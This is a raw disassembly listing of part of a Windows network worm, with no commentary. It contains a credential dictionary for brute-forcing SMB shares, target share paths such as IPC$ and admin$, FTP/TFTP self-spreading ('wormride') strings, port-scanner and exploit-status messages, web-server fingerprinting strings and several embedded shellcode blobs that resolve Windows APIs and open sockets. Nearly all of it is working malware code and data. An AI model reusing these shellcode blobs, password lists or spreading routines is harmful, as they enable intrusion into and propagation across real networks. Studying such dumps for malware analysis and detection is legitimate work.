		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], bh
		inc	ecx
		add	[eax+eax*8+41h], ch
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-40h], ah
		inc	ecx
		add	[eax-40h], bl
		inc	ecx
		add	[eax-40h], dl
		inc	ecx
		add	[eax-40h], cl
		inc	ecx
		add	al, dh
		rol	byte ptr [ecx+0], 88h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], al
		inc	ecx
		add	[eax], bh
		rol	byte ptr [ecx+0], 30h
		rol	byte ptr [ecx+0], 28h
		rol	byte ptr [ecx+0], 80h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax+eax*8], bl
		inc	ecx
		add	[eax+eax*8], cl
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[eax+eax*8], al
		inc	ecx
		add	al, bh
		mov	edi, 0BFE80041h
		inc	ecx
		add	[ebx+eax*8+41h], ah
		add	ah, dl
		mov	edi, 0BFD00041h
		inc	ecx
		add	ah, cl
		mov	edi, 0BFC40041h
		inc	ecx
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[eax-5BFFBE41h], dh
		mov	edi, 0C3540041h
		inc	ecx
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-67FFBE41h], ah
		mov	edi, 0BF940041h
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[edi+edi*4-407BFFBFh], cl
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
aWinpass	db 'winpass',0
aBlank		db 'blank',0
		align 4
aXp_0		db 'xp',0
		align 4
aNokia		db 'nokia',0
		align 10h
aHp		db 'hp',0
		align 4
aOrainstall	db 'orainstall',0
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0
		align 4
aDb1234		db 'db1234',0
		align 4
aDb2		db 'db2',0
aDb1		db 'db1',0
aDatabasepasswo	db 'databasepassword',0
		align 4
aDatabasepass	db 'databasepass',0
		align 4
aDbpassword	db 'dbpassword',0
		align 4
aDbpass		db 'dbpass',0
		align 4
aDomainpassword	db 'domainpassword',0
		align 4
aDomainpass	db 'domainpass',0
		align 4
aHello		db 'hello',0
		align 10h
aHell		db 'hell',0
		align 4
aLove		db 'love',0
		align 10h
aMoney		db 'money',0
		align 4
aSlut		db 'slut',0
		align 10h
aBitch		db 'bitch',0
		align 4
aFuck		db 'fuck',0
		align 10h
aExchange	db 'exchange',0
		align 4
aLoginpass	db 'loginpass',0
		align 4
aLogin		db 'login',0
		align 10h
aQwe		db 'qwe',0              ; DATA XREF: .data:0041BE4Co
aZxc		db 'zxc',0              ; DATA XREF: .data:0041BE48o
aAsd		db 'asd',0              ; DATA XREF: .data:0041BE44o
aQaz		db 'qaz',0              ; DATA XREF: .data:0041BE40o
aWin2000	db 'win2000',0          ; DATA XREF: .data:0041BE3Co
aWinnt		db 'winnt',0            ; DATA XREF: .data:0041BE38o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: .data:0041BE34o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .data:0041BE30o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: .data:0041BE2Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: .data:0041BE28o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:0041BE20o
		align 4
aOem		db 'oem',0              ; DATA XREF: .data:0041BE18o
aAccounting	db 'accounting',0       ; DATA XREF: .data:0041BE08o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .data:0041BE04o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .data:0041BE00o
aSex		db 'sex',0              ; DATA XREF: .data:0041BDFCo
aOutlook	db 'outlook',0          ; DATA XREF: .data:0041BDECo
aMail		db 'mail',0             ; DATA XREF: .data:0041BDE8o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:0041BDE4o
		align 4
aTemp123	db 'temp123',0          ; DATA XREF: .data:0041BDE0o
aTemp		db 'temp',0             ; DATA XREF: .data:0041BDDCo
		align 4
aNull		db 'null',0             ; DATA XREF: .data:0041BDD8o
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:0041BDC8o
aChangeme	db 'changeme',0         ; DATA XREF: .data:0041BDC4o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .data:0041BDB4o
		align 10h
aTest		db 'test',0
		align 4
a2005		db '2005',0
		align 10h
a2004		db '2004',0
		align 4
a2001		db '2001',0
		align 10h
aSecret		db 'secret',0
		align 4
aPayday		db 'payday',0
		align 10h
aDeadline	db 'deadline',0
		align 4
aWork		db 'work',0
		align 4
a1234567890	db '1234567890',0
		align 10h
a123456789	db '123456789',0
		align 4
a12345678	db '12345678',0
		align 4
a1234567	db '1234567',0
a123456		db '123456',0
		align 4
a12345		db '12345',0
		align 10h
a1234		db '1234',0
		align 4
a123		db '123',0
a12		db '12',0
		align 10h
a1:
		unicode	0, <1>,0
a007		db '007',0
aPwd		db 'pwd',0
aPass		db 'pass',0
		align 4
aPass1234	db 'pass1234',0
		align 10h
aDba		db 'dba',0
aPasswd		db 'passwd',0
		align 4
aPassword	db 'password',0         ; DATA XREF: .data:0041D790o
		align 4
aPassword1	db 'password1',0
		align 4
aAbc		db 'abc',0
aAb		db 'ab',0
		align 4
aA_0:
		unicode	0, <a>,0
aIpc		db 'IPC$',0             ; DATA XREF: .data:0041BD04o
		align 4
aPrint		db 'print$',0
		align 10h
aCDocumentsAndS	db 'C$\Documents and Settings\All Users\Documents\$',0
aAdmin_0	db 'admin$',0
		align 4
aAdminSystem32	db 'Admin$\system32',0
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: .data:0041BCF0o
aCWinntSystem32	db 'c$\winnt\system32',0
		align 10h
aCWindows	db 'c$\windows',0
		align 4
aCWinnt		db 'c$\winnt',0
		align 4
aEShared	db 'e$\shared',0
		align 4
aDShared	db 'd$\shared',0        ; DATA XREF: .data:0041BCDCo
		align 10h
aCShared	db 'c$\shared',0
		align 4
aE		db 'e$',0
		align 10h
aD		db 'd$',0               ; DATA XREF: .data:0041BCD0o
		align 4
aC		db 'c$',0               ; DATA XREF: .data:0041BCCCo
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:0041BCC4o
					; .data:0041BF7Co
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: .data:0041BCC0o
					; .data:0041BF78o
aOwner		db 'owner',0
		align 10h
aStudent	db 'student',0          ; DATA XREF: .data:0041BCB8o
					; .data:0041BF70o
aIntranet	db 'intranet',0
		align 4
aLan_0		db 'lan',0
aMain		db 'main',0             ; DATA XREF: .data:00416ACAo
					; .data:00416AECo
		align 10h
aOffice		db 'office',0
		align 4
aControl	db 'control',0
aSiemens	db 'siemens',0
aCompaq		db 'compaq',0
		align 10h
aDell		db 'dell',0
		align 4
aCisco		db 'cisco',0
		align 10h
aIbm		db 'ibm',0
aOracle		db 'oracle',0
		align 4
aSql		db 'sql',0
aSa		db 'sa',0
		align 4
aData		db 'data',0
		align 4
aAccess		db 'access',0
		align 4
aDatabase	db 'database',0
		align 10h
aDomain		db 'domain',0
		align 4
aGod		db 'god',0
aBackup		db 'backup',0
		align 4
aTechnical	db 'technical',0
		align 10h
aMary		db 'mary',0
		align 4
aKatie		db 'katie',0
		align 10h
aKate		db 'kate',0
		align 4
aGeorge		db 'george',0
		align 10h
aEric		db 'eric',0
		align 4
aNone		db 'none',0
		align 10h
aGuest		db 'guest',0
		align 4
aChris		db 'chris',0
		align 10h
aIan		db 'ian',0
aNeil		db 'neil',0
		align 4
aLee		db 'lee',0
aBrian		db 'brian',0
		align 4
aSusan		db 'susan',0
		align 10h
aSue		db 'sue',0              ; DATA XREF: .data:0041BC24o
					; .data:0041BE78o
aSam		db 'sam',0              ; DATA XREF: .data:0041BC20o
					; .data:0041BE74o
aLuke		db 'luke',0             ; DATA XREF: .data:0041BC1Co
					; .data:0041BE70o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: .data:0041BC18o
					; .data:0041BE6Co
		align 4
aJohn		db 'john',0             ; DATA XREF: .data:0041BC14o
					; .data:0041BE68o
		align 10h
aMike		db 'mike',0             ; DATA XREF: .data:0041BC10o
					; .data:0041BE64o
		align 4
aBill		db 'bill',0             ; DATA XREF: .data:0041BC0Co
					; .data:0041BE60o
		align 10h
aFred		db 'fred',0             ; DATA XREF: .data:0041BC08o
					; .data:0041BE5Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: .data:0041BC04o
					; .data:0041BE58o
aJen		db 'jen',0              ; DATA XREF: .data:0041BC00o
					; .data:0041BE54o
aBob		db 'bob',0              ; DATA XREF: .data:0041BBFCo
					; .data:0041BE50o
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:0041BBF8o
					; .data:0041BE24o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: .data:0041BBF4o
					; .data:0041BE1Co
aUser		db 'user',0             ; DATA XREF: .data:0041BBF0o
					; .data:0041BE14o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:0041BBECo
					; .data:0041BE10o
		align 4
aHome		db 'home',0             ; DATA XREF: .data:0041BBE8o
					; .data:0041BE0Co
		align 4
aInternet	db 'internet',0         ; DATA XREF: .data:0041BBE4o
					; .data:0041BDF8o
		align 10h
aWww		db 'www',0              ; DATA XREF: .data:0041BBE0o
					; .data:0041BDF4o
aWeb		db 'web',0              ; DATA XREF: .data:0041BBDCo
					; .data:0041BDF0o
aRoot		db 'root',0             ; DATA XREF: .data:0041BBD8o
					; .data:0041BDD4o
		align 10h
aServer_0	db 'server',0           ; DATA XREF: .data:0041BBD4o
					; .data:0041BDD0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:0041BBCCo
					; .data:0041BDC0o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: .data:0041BBC8o
					; .data:0041BDBCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: .data:0041BBC4o
					; .data:0041BDB8o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .data:0041BBC0o
aAdmin		db 'admin',0            ; DATA XREF: .data:0041BBBCo
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: .data:0041BBB8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .data:0041BBB4o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:0041BBB0o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .data:0041BBACo
					; .data:0041BD14o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: .data:0041BBA8o
					; .data:0041BD10o
		align 4
a231		db '231 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B:loc_4119BAo
a221		db '221 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+843o
dword_41C514	dd 135A78h		; DATA XREF: sub_41113B+834r
		align 10h
unk_41C520	db  2Dh	; -		; DATA XREF: sub_41113B+80Do
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TransferToSC	db '- %u. Transfer to %s complete.',0
aFtp_0		db 'ftp',0              ; DATA XREF: sub_41113B+808o
dword_41C54C	dd 157728h		; DATA XREF: sub_41113B+73Er
		dd 2 dup(0)
dword_41C558	dd 20363232h, 0A0D2Dh	; DATA XREF: sub_41113B+6F7o
					; sub_41113B+7AAo
aX32000Fh1024Ja	db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo
		db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
		db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
		align 4
a150		db '150 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+5C7o
					; sub_41113B+751o
dword_41C5DC	dd 146AF8h		; DATA XREF: sub_41113B+5B4r
		dd 2 dup(0)
dword_41C5E8	dd 20333132h, 0A0D7525h, 0 ; DATA XREF:	sub_41113B+56Do
dword_41C5F4	dd 1227B0h		; DATA XREF: sub_41113B+4EDr
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o
		align 4
dword_41C614	dd 0F6578h		; DATA XREF: sub_41113B+3EAr
		align 10h
dword_41C620	dd 20353234h, 0A0D2Dh	; DATA XREF: sub_41113B+3A3o
dword_41C628	dd 0FED08h		; DATA XREF: sub_41113B+394r
		dd 2 dup(0)
dword_41C634	dd 20303032h, 0A0D2Dh	; DATA XREF: sub_41113B+34Do
					; sub_41113B+4A6o
dword_41C63C	dd 128230h		; DATA XREF: sub_41113B+33Er
		dd 2 dup(0)
dword_41C648	dd 20373532h, 20222F22h, 0A0D2Dh ; DATA	XREF: sub_41113B+2F7o
dword_41C654	dd 1F738h		; DATA XREF: sub_41113B+2E8r
		dd 0
dword_41C65C	dd 20313132h, 0A0D2Dh	; DATA XREF: sub_41113B+2A1o
dword_41C664	dd 1232B8h		; DATA XREF: sub_41113B+292r
		align 10h
dword_41C670	dd 20353132h, 0A0D2Dh	; DATA XREF: sub_41113B+24Bo
dword_41C678	dd 124AF8h		; DATA XREF: sub_41113B+23Cr
		dd 2 dup(0)
dword_41C684	dd 20303332h, 0A0D2Dh	; DATA XREF: sub_41113B+1E1o
dword_41C68C	dd 0FECD8h		; DATA XREF: sub_41113B+1C8r
		dd 2 dup(0)
dword_41C698	dd 20313333h, 0A0D2Dh	; DATA XREF: sub_41113B+181o
dword_41C6A0	dd 163AE8h		; DATA XREF: sub_41113B+16Br
		dd 2 dup(0)
dword_41C6AC	dd 0A0D20h		; DATA XREF: sub_41113B+E9o
					; sub_41113B+115o ...
dword_41C6B0	dd 20303232h, 0A0D2Dh	; DATA XREF: sub_41113B+13o
dword_41C6B8	dd 303332h		; DATA XREF: sub_411A09+193o
dword_41C6BC	dd 53534150h, 0A0D3120h, 0 ; DATA XREF:	sub_411A09+11Do
dword_41C6C8	dd 313333h		; DATA XREF: sub_411A09+F9o
dword_41C6CC	dd 52455355h, 0A0D3120h, 0 ; DATA XREF:	sub_411A09:loc_411A8Ao
dword_41C6D8	dd 303232h		; DATA XREF: sub_411A09+63o
unk_41C6DC	db  2Dh	; -		; DATA XREF: sub_411BBC+115o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningFtpWorm	db '- Running FTP wormride thread',0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_411BBC+6Eo
		align 10h
aFtpWormrideThr	db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o
dword_41C724	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_411DC5+5E2o
unk_41C730	db  2Dh	; -		; DATA XREF: sub_411DC5+5BDo
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TftpTransfer	db '- %u. tftp transfer to %s complete.',0
		align 10h
aWormride	db 'wormride',0         ; DATA XREF: sub_411DC5+5B8o
		align 4
dword_41C76C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_411DC5+367o
aOctet		db 'octet',0            ; DATA XREF: sub_411DC5+333o
					; sub_411DC5+345o
		align 4
unk_41C788	db  2Dh	; -		; DATA XREF: sub_411DC5+144o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningTftpWor	db '- Running TFTP wormride thread',0
aTftpWormrideTh	db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo
		align 4

loc_41C7C8:				; DATA XREF: sub_4125DF+50o
		jmp	short loc_41C7DF
; ---------------------------------------------------------------------------

loc_41C7CA:				; CODE XREF: .data:loc_41C7DFp
		mov	ecx, 0
		xor	ecx, 0
		pop	esi

loc_41C7D6:				; CODE XREF: .data:0041C7DBj
		xor	byte ptr [ecx+esi-1], 0
		loop	loc_41C7D6
		jmp	short near ptr dword_41C7E4
; ---------------------------------------------------------------------------

loc_41C7DF:				; CODE XREF: .data:loc_41C7C8j
		call	loc_41C7CA
; ---------------------------------------------------------------------------
dword_41C7E4	dd 0			; CODE XREF: .data:0041C7DDj
dword_41C7E8	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+CBo
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
		dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C89C	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+8Co
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 2685353h, 8B000000h,	6AD88BD4h, 0BA535210h, 0C2A69000h
		dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
		dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
		dd 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C964	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+36o
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
		dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h,	75222222h
		dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh,	20EC8300h
		dd 0BFEA758Bh, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41CA18	dd 8B20EC83h, 45D89ECh,	81007D89h, 200ECh, 14658900h, 8B64DB33h
					; DATA XREF: sub_412720+71o
		dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
		dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
		dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
		dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh,	38B048Bh
		dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h,	6E92BA54h
		dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
		dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh,	3 dup(0)
		dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h,	0BA1875FFh
		dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
		dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
		dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh,	0B9BA1C75h
		dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
		dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h,	8BFDE2ABh
		dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h,	0FF2694F1h
		dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h,	0C5935CBAh
		dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
		dd 7315685h, 7D8BD6FFh,	46BABA08h, 0D6FFC10Ch
		db 0
byte_41CB95	db 0E3h			; DATA XREF: sub_4125DF+CFr
					; sub_4125DF+E4w
		align 4
dword_41CB98	dd 4113E68Bh		; DATA XREF: sub_4125DF+60r
					; sub_4125DF+75w
		align 10h
off_41CBA0	dd offset dword_41CC4C	; DATA XREF: sub_4127D0+77r
		dd offset dword_41CC40
		dd 0
		dd offset dword_41CC2C
		dd offset dword_41CC20
		align 8
		or	ah, cl
		inc	ecx
		add	ah, bh
		retf
; ---------------------------------------------------------------------------
		dw 41h
		dd 0
		dd offset dword_41CBE8
		dd offset dword_41CBDC
		dd 4 dup(0)
dword_41CBDC	dd 808FD6DAh, 2	dup(0)	; DATA XREF: .data:0041CBC8o
					; .data:0041DA90o
dword_41CBE8	dd 0DB999E9Ah, 0D5ABC9FCh, 0BEB1F3E6h, 2 dup(0)	; DATA XREF: .data:0041CBC4o
					; .data:0041DA8Co
		dd 8284D6D3h, 0A9h, 0
		dd 0DE999E9Ah, 0DFA09EFCh, 0FDA4EAACh, 0DE91BB92h, 2 dup(0)
dword_41CC20	dd 808ED7D7h, 2	dup(0)	; DATA XREF: .data:0041CBB0o
					; .data:0041DA78o
dword_41CC2C	dd 0C3999E9Ah, 0DBBA96ECh, 0BAF0FDA9h, 98B395h,	0
					; DATA XREF: .data:0041CBACo
					; .data:0041DA74o
dword_41CC40	dd 8381DED3h, 2	dup(0)	; DATA XREF: .data:0041CBA4o
					; .data:off_41DA6Co
dword_41CC4C	dd 0D5999E9Ah, 0CCAB8EF3h, 0B6ACF5A0h, 0CB9EB7D5h, 2 dup(0)
					; DATA XREF: .data:off_41CBA0o
					; .data:off_41DA68o
dword_41CC64	dd 72h			; DATA XREF: sub_412A3A:loc_412B93o
dword_41CC68	dd 62h			; DATA XREF: sub_412BC9:loc_412D11o
dword_41CC6C	dd 63h			; DATA XREF: sub_412D56:loc_412DC8o
dword_41CC70	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_412E04+64o
		dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
		dd 2074726Fh, 2343003h,	2037325h, 0
dword_41CCA8	dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
					; DATA XREF: sub_412F07+98o
		dd 74726F70h, 34300320h, 3752502h, 2, 0
byte_41CCD0	db 86h			; DATA XREF: sub_41294E+3Co
					; sub_41294E+4Co ...
		db 85h,	0D8h, 0DDh
		dd 0AFh, 2 dup(0)
		dd 0D3000000h, 82D5h, 3	dup(0)
		db 2 dup(0)
dword_41CCF6	dd 9BA448F6h		; DATA XREF: sub_41294E+2Br
					; sub_412FC6+31r ...
dword_41CCFA	dd 0			; DATA XREF: sub_412FC6+57w
					; sub_414052+B5r ...
off_41CCFE	dd offset sub_410649	; DATA XREF: sub_41294E+1Cr
					; sub_412FC6+18r ...
		dw 3
		dd 0
		dd 838C0000h, 8EFCC0C3h, 0A6h, 2 dup(0)
		dd 82D2D600h, 4	dup(0)
		dd 0A6726BFDh, 0
		dd offset sub_410B52
		dd 3, 10h dup(0)
dword_41CD80	dd 6E695728h, 293233h	; DATA XREF: sub_41308F+217o
dword_41CD88	dd 696E5528h, 2978h	; DATA XREF: sub_41308F+1F1o
dword_41CD90	dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_41308F+1DFo
aApache		db 'Apache',0           ; DATA XREF: sub_41308F+1B9o
		align 4
aMicrosoftIisU_	db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o
aMicrosoftIis	db 'Microsoft-IIS',0    ; DATA XREF: sub_41308F+FCo
		align 4
aServer		db 'Server:',0          ; DATA XREF: sub_41308F+7Ao
aOptionsHttp1_0	db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo
		db 0Dh,0Ah,0
		align 4
unk_41CDE8	db  53h	; S		; DATA XREF: sub_41349C+5E4o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db    3
		db 30h,	34h, 2
		db  25h	; %
		db 73h,	3, 2
		db  3Ah	; :
		db 25h,	73h, 20h
		db  69h	; i
		db 6Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  30h	; 0
		db 2Eh,	32h, 66h
		db    3
		db 2, 73h, 65h
		db  63h	; c
		db 2Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aOpenIpSFound	db 'open IP(s) found',0
		align 4
dword_41CE2C	dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
					; DATA XREF: sub_41349C+55Eo
dword_41CE40	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_41349C+343o
		dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
		dd 2037525h, 63657320h,	28646E6Fh, 2973h
dword_41CE78	dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
					; DATA XREF: sub_41349C+305o
		dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
		dd 297328h
unk_41CEA4	db  53h	; S		; DATA XREF: sub_413AB0+1DCo
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 69h,	6Eh, 67h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 3Ah,	25h, 73h
		db  20h
		db 66h,	6Fh, 72h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aSecondSTUSU	db ' second(s), t:%u s:%u',0
		align 4
dword_41CEDC	dd 3430032Dh, 3752502h,	41202D02h, 6D657474h, 64657470h
					; DATA XREF: sub_413CB3+30Eo
		dd 34300320h, 3752502h,	78652002h, 696F6C70h, 69746174h
		dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
		dd 2E297328h, 0
dword_41CF20	dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
					; DATA XREF: sub_413CB3+2B0o
		dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
		dd 2037325h, 2E2E2Eh
unk_41CF50	db  2Dh	; -		; DATA XREF: sub_413CB3+31o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aAttemptingTo_0	db '- Attempting to exploit IP',27h,'s in list.',0
		align 10h
aAttemptingToEx	db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o
dword_41CFA4	dd 3003203Ah, 75250234h, 202E0203h, 0 ;	DATA XREF: sub_414052+BBo
aExploitStatist	db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o
		align 4
aListingExploit	db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo
		align 4
dword_41CFE8	dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
					; DATA XREF: sub_4141C1+D8o
